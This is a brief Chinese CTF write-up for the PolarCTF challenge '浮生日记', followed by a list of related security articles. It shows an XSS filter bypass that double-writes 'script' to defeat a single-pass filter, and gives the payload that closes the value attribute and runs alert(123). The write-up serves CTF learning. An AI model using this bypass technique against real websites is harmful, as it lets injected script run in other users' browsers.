很明显是个XSS，尝试常规语句发现会过滤script
尝试双写
<scscriptript>alert(123)</scscriptript>
可以看到只过滤了一次<script>，但是还没有触发弹窗
我们看下源代码，发现需要对value进行闭合
那么payload如下：
"><scscriptript>alert(123)</scscriptript>
【PolarCTF】浮生日记
大方子2026-01-24 9:25
相关推荐
Atomic1213821 小时前
Apache Shiro 核心漏洞与实战利用指南ze^01 天前
【软考信息安全】第2章 网络攻击原理与常用方法数据知道1 天前
反序列化漏洞：Java、PHP、Python 三条线各讲透菩提小狗2 天前
每日安全情报报告 · 2026-08-12数据知道2 天前
XXE 漏洞深度实战：XML 外部实体攻击与 OOB 带外Raas1002 天前
MAIGateway，魔芋企业级AI网关的安全基建化设计笨鸟先飞，勤能补拙2 天前
AI Agent应用领域深度解析：从概念到落地的全维度审视Sombra_Olivia2 天前
复现Windows Server服务RPC请求缓冲区溢出漏洞(MS08067)数据知道2 天前
网络安全实战：API 安全攻防——RESTful 接口渗透测试方法论2501_915921432 天前
抓包鹰 Traceeagle 解除证书绑定，SSL Pinning 解除